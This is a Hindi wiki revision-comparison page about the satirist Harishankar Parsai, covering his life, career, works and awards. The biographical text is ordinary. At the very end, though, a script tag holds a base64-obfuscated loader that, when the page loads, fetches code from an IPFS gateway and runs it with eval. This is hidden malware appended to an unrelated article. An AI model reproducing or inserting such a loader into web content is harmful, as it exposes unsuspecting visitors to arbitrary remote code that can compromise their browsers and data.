"हरिशंकर परसाई": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
पंक्ति 1: पंक्ति 1:
{{सूचना बक्सा साहित्यकार
|चित्र=Harishanker-parsai.jpg
|चित्र का नाम=हरिशंकर परसाई
|पूरा नाम=हरिशंकर परसाई
|अन्य नाम=
|जन्म= [[22 अगस्त]], [[1922]] 
|जन्म भूमि=गाँव- जमानी, [[होशंगाबाद ज़िला]], [[मध्य प्रदेश]] 
|मृत्यु= [[10 अगस्त]], [[1995]]
|मृत्यु स्थान=[[जबलपुर]], [[मध्य प्रदेश]] 
|अविभावक=
|पालक माता-पिता=
|पति/पत्नी=
|संतान=
|कर्म भूमि=
|कर्म-क्षेत्र=लेखक और व्यंग्यकार
|मुख्य रचनाएँ=
|विषय=सामाजिक
|भाषा=[[हिंदी]]
|विद्यालय=नागपुर विश्वविद्यालय
|शिक्षा=एम.ए. (हिंदी)
|पुरस्कार-उपाधि= 'विकलांग श्रद्धा का दौर' के लिए [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]]
|प्रसिद्धि=
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=विधाएँ
|पाठ 1= निबंध, कहानी, उपन्यास, संस्मरण
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''हरिशंकर परसाई''' ([[अंग्रेज़ी]]: Harishankar Parsai, जन्म: [[22 अगस्त]], [[1922]] - मृत्यु: [[10 अगस्त]], [[1995]]) [[हिंदी]] के प्रसिद्ध लेखक और व्यंग्यकार थे। ये हिंदी के पहले रचनाकार हैं जिन्होंने व्यंग्य को विधा का दर्जा दिलाया और उसे हल्के–फुल्के मनोरंजन की परंपरागत परिधि से उबारकर समाज के व्यापक प्रश्नों से जोड़ा। उनकी व्यंग्य रचनाएँ हमारे मन में गुदगुदी ही पैदा नहीं करतीं बल्कि हमें उन सामाजिक वास्तविकताओं के आमने–सामने खड़ा करती हैं, जिनसे किसी भी व्यक्ति का अलग रह पाना लगभग असंभव है।
'''हरिशंकर परसाई''' ([[अंग्रेज़ी]]: Harishankar Parsai, जन्म: [[22 अगस्त]], [[1922]] - मृत्यु: [[10 अगस्त]], [[1995]]) [[हिंदी]] के प्रसिद्ध लेखक और व्यंग्यकार थे। ये हिंदी के पहले रचनाकार हैं जिन्होंने व्यंग्य को विधा का दर्जा दिलाया और उसे हल्के–फुल्के मनोरंजन की परंपरागत परिधि से उबारकर समाज के व्यापक प्रश्नों से जोड़ा। उनकी व्यंग्य रचनाएँ हमारे मन में गुदगुदी ही पैदा नहीं करतीं बल्कि हमें उन सामाजिक वास्तविकताओं के आमने–सामने खड़ा करती हैं, जिनसे किसी भी व्यक्ति का अलग रह पाना लगभग असंभव है।
==जीवन परिचय==
==जीवन परिचय==
पंक्ति 25: पंक्ति 58:
* हँसते हैं रोते हैं
* हँसते हैं रोते हैं
* जैसे उनके दिन फिरे
* जैसे उनके दिन फिरे
* भोलाराम का जीव।
* भोलाराम का जीव
* दो नाकवाले लोग
;उपन्यास
;उपन्यास
* रानी नागफनी की कहानी
* रानी नागफनी की कहानी
पंक्ति 33: पंक्ति 67:
; व्यंग्य संग्रह
; व्यंग्य संग्रह
* वैष्णव की फिसलन
* वैष्णव की फिसलन
* तिरछी रेखायें
* ठिठुरता हुआ गणतंत्र
* ठितुरता हुआ गड्तन्त्र
* विकलांग श्रद्धा का दौरा  
* विकलांग श्रद्धा का दौरा  
; संस्मरण
* तिरछी रेखाएँ
|}
|}
====साहित्यिक विशेषताएँ====  
====साहित्यिक विशेषताएँ====  
पंक्ति 42: पंक्ति 77:
हरिशंकर परसाई की [[भाषा]] में व्यंग्य की प्रधानता है उनकी भाषा सामान्य और सरंचना के कारण विशेष क्षमता रखती है। उनके एक -एक शब्द में व्यंग्य के तीखेपन को देखा जा सकता है। लोकप्रचलित [[हिंदी]] के साथ साथ [[उर्दू]], [[अंग्रेज़ी]] शब्दों का भी उन्होंने खुलकर प्रयोग किया है।
हरिशंकर परसाई की [[भाषा]] में व्यंग्य की प्रधानता है उनकी भाषा सामान्य और सरंचना के कारण विशेष क्षमता रखती है। उनके एक -एक शब्द में व्यंग्य के तीखेपन को देखा जा सकता है। लोकप्रचलित [[हिंदी]] के साथ साथ [[उर्दू]], [[अंग्रेज़ी]] शब्दों का भी उन्होंने खुलकर प्रयोग किया है।
==सम्मान और पुरस्कार==
==सम्मान और पुरस्कार==
* हरिशंकर परसाई 'विकलांग श्रद्धा का दौर' के लिए [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]] से सम्मानित हैं।
हरिशंकर परसाई 'विकलांग श्रद्धा का दौर' के लिए [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]] से सम्मानित हैं। इसके अतिरिक्त शिक्षा सम्मान (मध्य प्रदेश शासन), शरद जोशी सम्मान से भी इन्हें सम्मानित किया गया।




 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

11:11, 26 जनवरी 2013 का अवतरण

हरिशंकर परसाई
हरिशंकर परसाई
हरिशंकर परसाई
पूरा नाम हरिशंकर परसाई
जन्म 22 अगस्त, 1922
जन्म भूमि गाँव- जमानी, होशंगाबाद ज़िला, मध्य प्रदेश
मृत्यु 10 अगस्त, 1995
मृत्यु स्थान जबलपुर, मध्य प्रदेश
कर्म-क्षेत्र लेखक और व्यंग्यकार
विषय सामाजिक
भाषा हिंदी
विद्यालय नागपुर विश्वविद्यालय
शिक्षा एम.ए. (हिंदी)
पुरस्कार-उपाधि 'विकलांग श्रद्धा का दौर' के लिए साहित्य अकादमी पुरस्कार
नागरिकता भारतीय
विधाएँ निबंध, कहानी, उपन्यास, संस्मरण
इन्हें भी देखें कवि सूची, साहित्यकार सूची

हरिशंकर परसाई (अंग्रेज़ी: Harishankar Parsai, जन्म: 22 अगस्त, 1922 - मृत्यु: 10 अगस्त, 1995) हिंदी के प्रसिद्ध लेखक और व्यंग्यकार थे। ये हिंदी के पहले रचनाकार हैं जिन्होंने व्यंग्य को विधा का दर्जा दिलाया और उसे हल्के–फुल्के मनोरंजन की परंपरागत परिधि से उबारकर समाज के व्यापक प्रश्नों से जोड़ा। उनकी व्यंग्य रचनाएँ हमारे मन में गुदगुदी ही पैदा नहीं करतीं बल्कि हमें उन सामाजिक वास्तविकताओं के आमने–सामने खड़ा करती हैं, जिनसे किसी भी व्यक्ति का अलग रह पाना लगभग असंभव है।

जीवन परिचय

22 अगस्त, 1922 को मध्य प्रदेश में होशंगाबाद ज़िले के गाँव जमानी नामक गाँव में हरिशंकर परसाई का जन्म हुआ। गाँव से प्राम्भिक शिक्षा प्राप्त करने के बाद वे नागपुर चले आये। नागपुर विश्वविद्यालय से उन्होंने एम. ए. हिंदी की परीक्षा पास की। कुछ दिनों तक उन्होंने अध्यापन कार्य भी किया। इसके बाद उन्होंने स्वतंत्र लेखन प्रारंभ कर दिया। उन्होंने जबलपुर से साहित्यिक पत्रिका 'वसुधा' का प्रकाशन किया, परन्तु घाटा होने के कारण इसे बंद करना पड़ा। लगातार खोखली होती जा रही हमारी सामाजिक और राजनैतिक व्यवस्था में पिसते मध्यमवर्गीय मन की सच्चाइयों को उन्होंने बहुत ही निकटता से पकड़ा है। उनकी भाषा–शैली में खास किस्म का अपनापन है, जिससे पाठक यह महसूस करता है कि लेखक उसके सामने ही बैठा है। 10 अगस्त, 1995 में उनका निधन जबलपुर मध्य प्रदेश में ही गया।

कार्यक्षेत्र

18 वर्ष की उम्र में जंगल विभाग में नौकरी की। खण्डवा में 6 महीने अध्यापक रहे। दो वर्ष (1941–43 में) जबलपुर में स्पेस ट्रेनिंग कालिज में शिक्षण कार्य का अध्ययन किया। 1943 से वहीं माडल हाई स्कूल में अध्यापक हो गये। 1952 में यह सरकारी नौकरी छोड़ी। 1953 से 1957 तक प्राइवेट स्कूलों में नौकरी की। 1957 में नौकरी छोड़कर स्वतन्त्र लेखन की शुरूआत की।

साहित्यिक परिचय

हरिशंकर परसाई जी की पहली रचना "स्वर्ग से नरक जहाँ तक" है जो कि मई 1948 में प्रहरी में प्रकाशित हुई थी जिसमें उन्होंने धार्मिक पाखंड और अंधविश्वास के खिलाफ पहली बार जमकर लिखा था। धार्मिक खोखला पाखंड उनके लेखन का पहला प्रिय विषय था। वैसे हरिशंकर परसाई कार्लमार्क्स से अधिक प्रभावित थे। परसाई जी की प्रमुख रचनाओं में "सदाचार का ताबीज" प्रसिद्ध रचनाओं में से एक थी जिसमें रिश्वत लेने देने के मनोविज्ञान को उन्होंने प्रमुखता के साथ उकेरा है।

रचनाएँ

निबंध संग्रह
  • तब की बात और थी
  • भूत के पाँव पीछे
  • बेईमानी की परत
  • पगडण्डियों का जमाना
  • शिकायत मुझे भी है
  • सदाचार का ताबीज
  • और अंत मे
  • प्रेमचन्द के फटे जूते
  • माटी कहे कुम्हार से
  • काग भगोड़ा
कहानी संग्रह
  • हँसते हैं रोते हैं
  • जैसे उनके दिन फिरे
  • भोलाराम का जीव
  • दो नाकवाले लोग
उपन्यास
  • रानी नागफनी की कहानी
  • तट की खोज
  • ज्वाला और जल
व्यंग्य संग्रह
  • वैष्णव की फिसलन
  • ठिठुरता हुआ गणतंत्र
  • विकलांग श्रद्धा का दौरा
संस्मरण
  • तिरछी रेखाएँ

साहित्यिक विशेषताएँ

पाखंड, बेईमानी आदि पर परसाई जी ने अपने व्यंग्यों से गहरी चोट की है। वे बोलचाल की सामन्य भाषा का प्रयोग करते हैं और चुटीला व्यंग्य करने में परसाई जी बेजोड़ हैं।

भाषा शैली

हरिशंकर परसाई की भाषा में व्यंग्य की प्रधानता है उनकी भाषा सामान्य और सरंचना के कारण विशेष क्षमता रखती है। उनके एक -एक शब्द में व्यंग्य के तीखेपन को देखा जा सकता है। लोकप्रचलित हिंदी के साथ साथ उर्दू, अंग्रेज़ी शब्दों का भी उन्होंने खुलकर प्रयोग किया है।

सम्मान और पुरस्कार

हरिशंकर परसाई 'विकलांग श्रद्धा का दौर' के लिए साहित्य अकादमी पुरस्कार से सम्मानित हैं। इसके अतिरिक्त शिक्षा सम्मान (मध्य प्रदेश शासन), शरद जोशी सम्मान से भी इन्हें सम्मानित किया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>